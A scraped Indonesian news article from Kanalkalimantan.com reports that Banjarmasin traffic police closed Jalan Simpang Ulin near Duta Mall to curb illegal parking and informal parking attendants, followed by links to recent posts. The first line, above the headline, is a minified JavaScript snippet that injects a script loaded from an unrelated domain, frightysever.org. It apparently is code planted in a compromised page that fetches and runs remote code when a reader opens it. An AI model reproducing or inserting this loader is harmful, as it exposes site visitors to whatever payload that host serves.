(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rekayasa Lalu Lintas di Jalan Simpang Ulin Banjarmasin: Jalur Dilarang Parkir


KANALKALIMANTAN.COM, BANJARMASIN — Satlantas Polres Kota Banjarmasin memberi solusi rekayasa Jalan Simpang Ulin Banjarmasin agar tak menimbulkan kemacetan parah di kawasan pusat perbelanjaan Duta Mall.

Hal itu disampaikan oleh Perwira Satlantas Polresta Banjarmasin, Ipda Ansyah Bhakti Satyabharda, Senin (1/12/2025).


Kepadatan Kendaraan di Akhir Pekan

Kondisi Jalan Simpang Ulin Banjarmasin titik kepadatan kendaraan bermotor terutama di akhir pekan kerja terjadi. Foto: Satlantas Polresta Banjarmasin

Baca juga: Warga Kampung Sultan Minta Pembuatan RTH dan Posyandu ke Wakil Rakyat

Ipda Satyabharda menyebut, posisi jalan yang strategis yakni terletak antara pusat perbelanjaan, masjid, rumah sakit, dan pertokoan membuat Jalan Simpang Ulim kerap dilalui masyarakat membuat terjadi kepadatan kendaraan bermotor.

Akibatnya, jalan ini bisa sangat padat sehingga sulit dilalui khususnya di akhir pekan. Hal ini pun sudah diantisipasi dengan pemasangan rambu dan marka Dilarang Parkir dan penutupan jalur atau blokade.

“Harapannya dapat menghindari masyarakat yang masih membandel, khususnya kendaraan besar seperti mobil untuk tidak parkir sembarangan di Jalan Simpang Ulin karena menyebabkan kemacetan yang lebih parah,” ujarnya.

Baca juga: Pemdes Tumbang Mangkutup Gelar Rapat Evaluasi Para Pihak


Upaya Meminimalisir Kepadatan Lalu Lintas

Sejalan dengan argumen pertama, mengandalkan rambu dan marka belum tentu membuat masyarakat patuh terhadap aturan.

Pastinya akan ditemukan pengguna roda dua atau roda empat yang memarkir kendaraan di sisi Jalan Simpang Ulin yang bersinggungan langsung dengan Taman Simpang Ulin.

Oleh sebab itu, petugas memblokade jalan tersebut agar meminimalisir pengguna kendaraan yang parkir sembarangan.

Biasanya, pengendara bandel ini berusaha memarkirkan kendaraan di luar pusat perbelanjaan Duta Mall supaya menghindari retribusi parkir mall.

Baca juga: Pemkab Kapuas Susun Rencana Penanggulangan Kemiskinan Daerah

“Apabila kebiasaan ini dibiarkan, akan banyak masyarakat yang ikut-ikutan untuk parkir karena selain karena tempat parkir ini gratis, meskipun melanggar aturan. Jalan ini juga tidak terlalu jauh Duta Mall,” ungkapnya.

Bukan Lokasi Ideal Untuk Perparkiran

Kondisi Jalan Simpang Ulin Banjarmasin titik kepadatan kendaraan bermotor terutama di akhir pekan kerja terjadi. Foto: Satlantas Polresta Banjarmasin

Jalan Simpang Ulin yang tidak memiliki lebar jalan yang memadai dapat menimbulkan kemacetan apabila diberikan lahan parkir.

Selain itu, lokasi ini pasti akan menjadi rebutan banyak pengendara dibandingkan memarkirkan kendaraannya di Parkiran Duta Mall yang menjalankan tarif parkir progresif, dan pastinya lebih murah.

“Selain kondisi jalan yang kurang lebar untuk maju mundur kendaraan untuk parkir, hal tersebut dapat membuat banyak pengendara yang menunggu parkiran di Jalan Simpang Ulin,” jelasnya.

Baca juga: Wakil Rakyat Banjarbaru Dorong Kampung Ekowisata Kampung Sultan

Mengurangi Parkir Liar

Parkir kendaraan sembarangan otomatis mengundang preman parkir untuk menjadikannya lahan usaha parkir liar. Lantas, blokade jalan menurutnya adalah solusi yang tepat.

“Apabila tidak dilakukan penutupan bisa membuat parkir liar yang dikelola preman menjadi menjamur dan tidak kondusif, serta tidak sesuai dengan peraturan yang berlaku,” terang Ipda Satyabharda.

Upaya Preventif Menghindari Terjadinya Pelanggaran Lalu Lintas

Memarkirkan kendaraan pada lokasi yang terdapat larangan parkir baik berupa rambu atau marka merupakan pelanggaran terhadap peraturan daerah, maka dari itu pengendara pelanggaran dikenakan penegakkan pelanggaran (tilang).

Baca juga: Komitmen Deteksi Dini Narkoba, Pejabat Pemkab Kapuas Tes Urine

Dengan demikian, kelima alasan tersebut menjadi sebab mengapa Jalan Simpang Ulin tetap dilakukan penutupan. Fokus utamanya adalah menghindari pelanggaran parkir serta parkir liar yang bisa membuat jalan tersebut macet.

“Penutupan ini mungkin bagi sebagian orang merupakan perbuatan yang semau-maunya petugas. Akan tetapi apabila dibuka, dampaknya akan lebih ruwet dan lebih banyak permasalahan lainnya,” tutupnya. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Risa

Recent Posts

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

14 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

16 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

21 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

22 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

2 hari ago

This website uses cookies.